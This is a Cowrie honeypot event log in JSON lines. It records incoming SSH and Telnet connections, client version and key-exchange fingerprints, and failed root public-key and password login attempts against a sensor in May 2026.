{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:90:61:15:8d:3c:b4:56:d6:e0:38:ea:5b:ab:6e:a3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIECRGD7SJDjTMzaeuwBPBaKZismQXyRIu4zd8Ks1/5pM","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:90:61:15:8d:3c:b4:56:d6:e0:38:ea:5b:ab:6e:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.942320Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:90:61:15:8d:3c:b4:56:d6:e0:38:ea:5b:ab:6e:a3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIECRGD7SJDjTMzaeuwBPBaKZismQXyRIu4zd8Ks1/5pM","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.948380Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:15:9e:69:f1:7e:fd:57:69:78:e3:3d:1f:fa:41:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeEZs2rX1LZHLiAHj6PpAwSns5CVnjatlLKYuWKG8PoZlov9EQ/S3G68PxnhTlYPEyNmG4/K2/eLYCaFYEFKT2GVU5SSA5nNzSeocPlw4QCKv2uVmKaMhUGHOEEN3josNVjX7pctP4WzIf02PoWQ+X+ai4BqP1vTupptSXYyx7GyKnyYLoxLEb2ZvPuaWmnEhO6TmHk8+cJoDrvrOwYZ4ojODxk4OtPeRmiGSU5BGZJh9epRzgoG7i/cAmf5goStceOtOQBvgWueLXy4osx9pAqZbXseP4S9bTE6B2UfRQmS4Qh5j8aFnri9wNj67Pxk1chmN9mYySV1ySFUMM7Ier","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:15:9e:69:f1:7e:fd:57:69:78:e3:3d:1f:fa:41:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.955555Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:15:9e:69:f1:7e:fd:57:69:78:e3:3d:1f:fa:41:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeEZs2rX1LZHLiAHj6PpAwSns5CVnjatlLKYuWKG8PoZlov9EQ/S3G68PxnhTlYPEyNmG4/K2/eLYCaFYEFKT2GVU5SSA5nNzSeocPlw4QCKv2uVmKaMhUGHOEEN3josNVjX7pctP4WzIf02PoWQ+X+ai4BqP1vTupptSXYyx7GyKnyYLoxLEb2ZvPuaWmnEhO6TmHk8+cJoDrvrOwYZ4ojODxk4OtPeRmiGSU5BGZJh9epRzgoG7i/cAmf5goStceOtOQBvgWueLXy4osx9pAqZbXseP4S9bTE6B2UfRQmS4Qh5j8aFnri9wNj67Pxk1chmN9mYySV1ySFUMM7Ier","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.960050Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:6c:1d:47:9a:1a:57:44:62:6e:d1:2d:47:e2:15:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH7OJ99NJEGsGVbFQenbV+6f0XWui4K0JZaEOTEJYL5SXh9c5GLXIpH2534wiGk1MRnYM8dwIwbJ7xyS2TMGUSjJOFI4WYDmGUMKQ/xyjTbz7xrpYXmp9bCzNDVCMRbrp1SoorRsG377riT62LQrinfrLvageF2R96IZfmL//TD1eyr4B30HYDeo0OKRWT9ofmTgrovhxexD1BaM6kLCyLjBVHEIixbvxl78LiGuh4yTNjlf+GCxL0lF2W02oSFmdOr4t6G+JmTkXZRQtpf6K9KwdWx4XPYIKvnSwxYJwQ7V1aHbk7kDQeqCA94/8oUu4qcw/Iudp+p5fkWUCdMNPB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:6c:1d:47:9a:1a:57:44:62:6e:d1:2d:47:e2:15:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.970856Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:6c:1d:47:9a:1a:57:44:62:6e:d1:2d:47:e2:15:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH7OJ99NJEGsGVbFQenbV+6f0XWui4K0JZaEOTEJYL5SXh9c5GLXIpH2534wiGk1MRnYM8dwIwbJ7xyS2TMGUSjJOFI4WYDmGUMKQ/xyjTbz7xrpYXmp9bCzNDVCMRbrp1SoorRsG377riT62LQrinfrLvageF2R96IZfmL//TD1eyr4B30HYDeo0OKRWT9ofmTgrovhxexD1BaM6kLCyLjBVHEIixbvxl78LiGuh4yTNjlf+GCxL0lF2W02oSFmdOr4t6G+JmTkXZRQtpf6K9KwdWx4XPYIKvnSwxYJwQ7V1aHbk7kDQeqCA94/8oUu4qcw/Iudp+p5fkWUCdMNPB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.974612Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:80:f8:47:1a:db:d1:2c:88:54:dc:6f:5b:7e:8f:1d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOiuKgsWeEuLhdUlRVlbkS6NhRM6rmKzIODkYRsSjtj+run7CIhKxyOn6RmNKYhC3gbBy5+5Kjmg5qYaPq7ExGuu4upnW5RfUSFWz4hXYZt7L+8GW8Kgk1cP0tnmQnw74Pvdxw4NWoXFdOduQR57rOz5MCppuhsTfP3T0ErN/hYpAAAAFQC0CbhxUNUWgjXaYrbRQ8TudwEueQAAAIBY6lUSh6yzf0boXes0kg6P3HjpprKCcopXDzCKmNUJwb9eQwGxYV1g5wEMgC7iax1Ki9uGqv5onyOc4zXKfQt6L2Hl8GEmvXOiX2qLOPefPX7y9F1gbLCRQBD3MwfRfltpjgirNw1N4bNwJkjdvOSO6ItcQwpBY/CTBOD0rcmgkgAAAIEAhca8gLERFpbf+f4wNQov0MTq09GugTqyzumzySlwS/vMW0GIHR4O0YD+0KBRmnouxcOvaXhpDSETLWu43pqmoZXIR4YNmJssRm3+H5Ovc8ET25bbyltLHjB7V85GtGtcYoaiXmpvRo8MnRnKQmelcMkKfKBNEzhkCrjauXZcl7o=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f2:80:f8:47:1a:db:d1:2c:88:54:dc:6f:5b:7e:8f:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.984005Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:80:f8:47:1a:db:d1:2c:88:54:dc:6f:5b:7e:8f:1d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOiuKgsWeEuLhdUlRVlbkS6NhRM6rmKzIODkYRsSjtj+run7CIhKxyOn6RmNKYhC3gbBy5+5Kjmg5qYaPq7ExGuu4upnW5RfUSFWz4hXYZt7L+8GW8Kgk1cP0tnmQnw74Pvdxw4NWoXFdOduQR57rOz5MCppuhsTfP3T0ErN/hYpAAAAFQC0CbhxUNUWgjXaYrbRQ8TudwEueQAAAIBY6lUSh6yzf0boXes0kg6P3HjpprKCcopXDzCKmNUJwb9eQwGxYV1g5wEMgC7iax1Ki9uGqv5onyOc4zXKfQt6L2Hl8GEmvXOiX2qLOPefPX7y9F1gbLCRQBD3MwfRfltpjgirNw1N4bNwJkjdvOSO6ItcQwpBY/CTBOD0rcmgkgAAAIEAhca8gLERFpbf+f4wNQov0MTq09GugTqyzumzySlwS/vMW0GIHR4O0YD+0KBRmnouxcOvaXhpDSETLWu43pqmoZXIR4YNmJssRm3+H5Ovc8ET25bbyltLHjB7V85GtGtcYoaiXmpvRo8MnRnKQmelcMkKfKBNEzhkCrjauXZcl7o=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.987530Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.997148Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55468,"dst_ip":"10.17.0.5","dst_port":22,"session":"a273b6ca0ae2","protocol":"ssh","message":"New connection: 80.94.92.186:55468 (10.17.0.5:22) [session: a273b6ca0ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:02.645603Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":54654,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ececa899c21","protocol":"ssh","message":"New connection: 103.228.69.212:54654 (10.17.0.5:22) [session: 5ececa899c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:02.675619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:02.680994Z","src_ip":"103.228.69.212","session":"5ececa899c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:02.763927Z","src_ip":"80.94.92.186","session":"a273b6ca0ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:02.911047Z","src_ip":"103.228.69.212","session":"5ececa899c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2024","message":"login attempt [user/user2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:03.870245Z","src_ip":"103.228.69.212","session":"5ececa899c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:05.106688Z","src_ip":"103.228.69.212","session":"5ececa899c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:02:14.447762Z","src_ip":"36.26.74.162","session":"bccf4c77eddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.45.189.11","src_port":58558,"dst_ip":"10.17.0.5","dst_port":22,"session":"c19e74425597","protocol":"ssh","message":"New connection: 5.45.189.11:58558 (10.17.0.5:22) [session: c19e74425597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:57.427243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:57.431298Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:57.594859Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.73.86.197","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fa0b84029c6","protocol":"telnet","message":"New connection: 165.73.86.197:59256 (10.17.0.5:23) [session: 6fa0b84029c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:57.741906Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:17:44:86:bc:0e:af:9a:79:65:a6:f1:ac:a9:83:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qgna7tLJ8edqAMRdc3KvevoIF0DN4Xce77SWpLSsWKg58j942iYVdEVQWFEMqkF1kneEhOos9ghzWJGH0+zS1WcIJOBWP3nx1wqMSPeRVv4UAoBUD8VP3kL1LZY0t+rhZNl390j1cWlkYala12NKB3nqwZuy5tNw0D15WtCw9KQTgDklDXsuw2Rhx2cEBl+9F6wu3xMCLn0HvA6zUzMuxNnR7Q4p1rK+g6PWBagngrTHlt+/8V315QVFCwxZj8wqfFN7B2mKqQtLu64yeuth01BDa9rdw6GJiSk2MUu8wWDei+lgoW6rhdsmSOziw2MY3iDx3BfSmfuV0FFXhvjr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:17:44:86:bc:0e:af:9a:79:65:a6:f1:ac:a9:83:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.371329Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:17:44:86:bc:0e:af:9a:79:65:a6:f1:ac:a9:83:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qgna7tLJ8edqAMRdc3KvevoIF0DN4Xce77SWpLSsWKg58j942iYVdEVQWFEMqkF1kneEhOos9ghzWJGH0+zS1WcIJOBWP3nx1wqMSPeRVv4UAoBUD8VP3kL1LZY0t+rhZNl390j1cWlkYala12NKB3nqwZuy5tNw0D15WtCw9KQTgDklDXsuw2Rhx2cEBl+9F6wu3xMCLn0HvA6zUzMuxNnR7Q4p1rK+g6PWBagngrTHlt+/8V315QVFCwxZj8wqfFN7B2mKqQtLu64yeuth01BDa9rdw6GJiSk2MUu8wWDei+lgoW6rhdsmSOziw2MY3iDx3BfSmfuV0FFXhvjr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.375203Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:cc:1f:43:0a:8e:16:1a:d2:cb:f3:fc:0f:54:33:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyWQ4JcHryL2hH+XbtTg5iAiQ7v8+MTcWUr3itM0oKMLxnkAEztSig8kCXT+P5IxSZlaJjureev7/JbQ6+sPWLRxF1a1e3jCxc5SGBo+Pt8RpLJs0U3mdfkjSG6E+1REU6OSwQqX/hxTTK7xIPCy2VKOIjEdZJUjuMQORcf/VpwxyaxViW8IZVjuu8Pr+IyXsBJTD3t/XUSe+g7Uv0f4X38IPt31D0YhXv1cwHMGIz8tJ/iFqKDLCMfM9t9ouiEfv5rE8KZF7NpSL3nexJ6QjyoD8/wQE1iTR+JW6W3u5wYHwXwp/l6XrsJXtzUSHb9AuY0PUceK5sa7GnYRyHiGvv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:cc:1f:43:0a:8e:16:1a:d2:cb:f3:fc:0f:54:33:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.531570Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:cc:1f:43:0a:8e:16:1a:d2:cb:f3:fc:0f:54:33:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyWQ4JcHryL2hH+XbtTg5iAiQ7v8+MTcWUr3itM0oKMLxnkAEztSig8kCXT+P5IxSZlaJjureev7/JbQ6+sPWLRxF1a1e3jCxc5SGBo+Pt8RpLJs0U3mdfkjSG6E+1REU6OSwQqX/hxTTK7xIPCy2VKOIjEdZJUjuMQORcf/VpwxyaxViW8IZVjuu8Pr+IyXsBJTD3t/XUSe+g7Uv0f4X38IPt31D0YhXv1cwHMGIz8tJ/iFqKDLCMfM9t9ouiEfv5rE8KZF7NpSL3nexJ6QjyoD8/wQE1iTR+JW6W3u5wYHwXwp/l6XrsJXtzUSHb9AuY0PUceK5sa7GnYRyHiGvv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.535301Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:3a:43:17:48:53:0b:1c:bd:66:a7:3f:d1:ba:ec:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz9W4r2mMjtgMuoAXHSbstFAPXEBmhSD/VBEjovXq3SylAH8XPCuvFHgzWEM8mwLVB4Efo5XR89aZErR14JAAKKuiAK7HQrCQjwSqErbrY7R32LurMhRU/Nvtq6pQ2ehWuOgcsEX4XafsbudZcaXNnIRbRS0DcDE9209qLVxddIOUEdRoXqcmsqS/lVOnoXMFMkQ0N0kvOe3nkDLBDvJsMTFEOvOB9UGXr8KSo4w82GWmGJKbxhX4RiZ1AI1qMG5hlivAFONJLaPN2eCdhawNmgcSTAb07SS1S/7gZG5VaRc75u/HTPIVyZzurzytls0TOgoZKYM5yD5ow59F2IkItQTiy9k8GN5tGRdNUS5Bbt3RFnfbDHx18MUpVGbt7zGdAIrzj/pfwReSeIxzQ86RvHuTv4h9xug4NOiwJNgeCsaNbI04g3j7ezGm13Q1onvcoIU5UapD0hx1xDIDcXVX9nnIOK35sNk9jnKgYf7D4OselRFaTwQzA1L5ZtYaS45nr4DYyG3CsJ2on0E2yjiLxu759JH5WEfPFgfgG2Gotz8pi6GJ4/S7R2WqVrAxwc10Yl4vRu/sD6Mhus+07jcC62a09urc0Qq+aZXuVDq/fAp3rVZQ71sJC/BZSIk6BRqcIfq20on6yQF2Qlm+bv8OvP9Sywv+9qFXQ07OzJ5ubEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:3a:43:17:48:53:0b:1c:bd:66:a7:3f:d1:ba:ec:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.691362Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:3a:43:17:48:53:0b:1c:bd:66:a7:3f:d1:ba:ec:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz9W4r2mMjtgMuoAXHSbstFAPXEBmhSD/VBEjovXq3SylAH8XPCuvFHgzWEM8mwLVB4Efo5XR89aZErR14JAAKKuiAK7HQrCQjwSqErbrY7R32LurMhRU/Nvtq6pQ2ehWuOgcsEX4XafsbudZcaXNnIRbRS0DcDE9209qLVxddIOUEdRoXqcmsqS/lVOnoXMFMkQ0N0kvOe3nkDLBDvJsMTFEOvOB9UGXr8KSo4w82GWmGJKbxhX4RiZ1AI1qMG5hlivAFONJLaPN2eCdhawNmgcSTAb07SS1S/7gZG5VaRc75u/HTPIVyZzurzytls0TOgoZKYM5yD5ow59F2IkItQTiy9k8GN5tGRdNUS5Bbt3RFnfbDHx18MUpVGbt7zGdAIrzj/pfwReSeIxzQ86RvHuTv4h9xug4NOiwJNgeCsaNbI04g3j7ezGm13Q1onvcoIU5UapD0hx1xDIDcXVX9nnIOK35sNk9jnKgYf7D4OselRFaTwQzA1L5ZtYaS45nr4DYyG3CsJ2on0E2yjiLxu759JH5WEfPFgfgG2Gotz8pi6GJ4/S7R2WqVrAxwc10Yl4vRu/sD6Mhus+07jcC62a09urc0Qq+aZXuVDq/fAp3rVZQ71sJC/BZSIk6BRqcIfq20on6yQF2Qlm+bv8OvP9Sywv+9qFXQ07OzJ5ubEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.695165Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:37:4d:aa:2b:0f:8c:b3:79:c5:fb:84:86:b6:3e:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm0Cqo2JdKBqpnnXXZMOq10ooILHwMVD4oZz+b6oQeDAm23uqpbDrgFXczdMhAuIH0VAkTmi+cv/F5pCiO+4V9VNGa8mVbTRh3HZ4vvx5zsaNd11VdL3qJ0xO65msbrSUbmyGtIiIIRgoFDcqutRRcVfmTL06vHiC1dWrt3oSY8SFqyMLjKtAT9dq2XQ3AKzeoNkBIZf4Jya1fImqaHDCOFuEHl7C4IAC0QP3zb3XRu/sP6jMAq/L79ZOHMpmKp2eIyAAAdZmThmdZGpWGYjUJpHfw/R4f63X+HlnS4BKNnfdGUUAtHjGLzOu20x9XgjFiKRDlWKM+UlgvVCd5rpq/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:37:4d:aa:2b:0f:8c:b3:79:c5:fb:84:86:b6:3e:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.843206Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:37:4d:aa:2b:0f:8c:b3:79:c5:fb:84:86:b6:3e:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm0Cqo2JdKBqpnnXXZMOq10ooILHwMVD4oZz+b6oQeDAm23uqpbDrgFXczdMhAuIH0VAkTmi+cv/F5pCiO+4V9VNGa8mVbTRh3HZ4vvx5zsaNd11VdL3qJ0xO65msbrSUbmyGtIiIIRgoFDcqutRRcVfmTL06vHiC1dWrt3oSY8SFqyMLjKtAT9dq2XQ3AKzeoNkBIZf4Jya1fImqaHDCOFuEHl7C4IAC0QP3zb3XRu/sP6jMAq/L79ZOHMpmKp2eIyAAAdZmThmdZGpWGYjUJpHfw/R4f63X+HlnS4BKNnfdGUUAtHjGLzOu20x9XgjFiKRDlWKM+UlgvVCd5rpq/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.849475Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
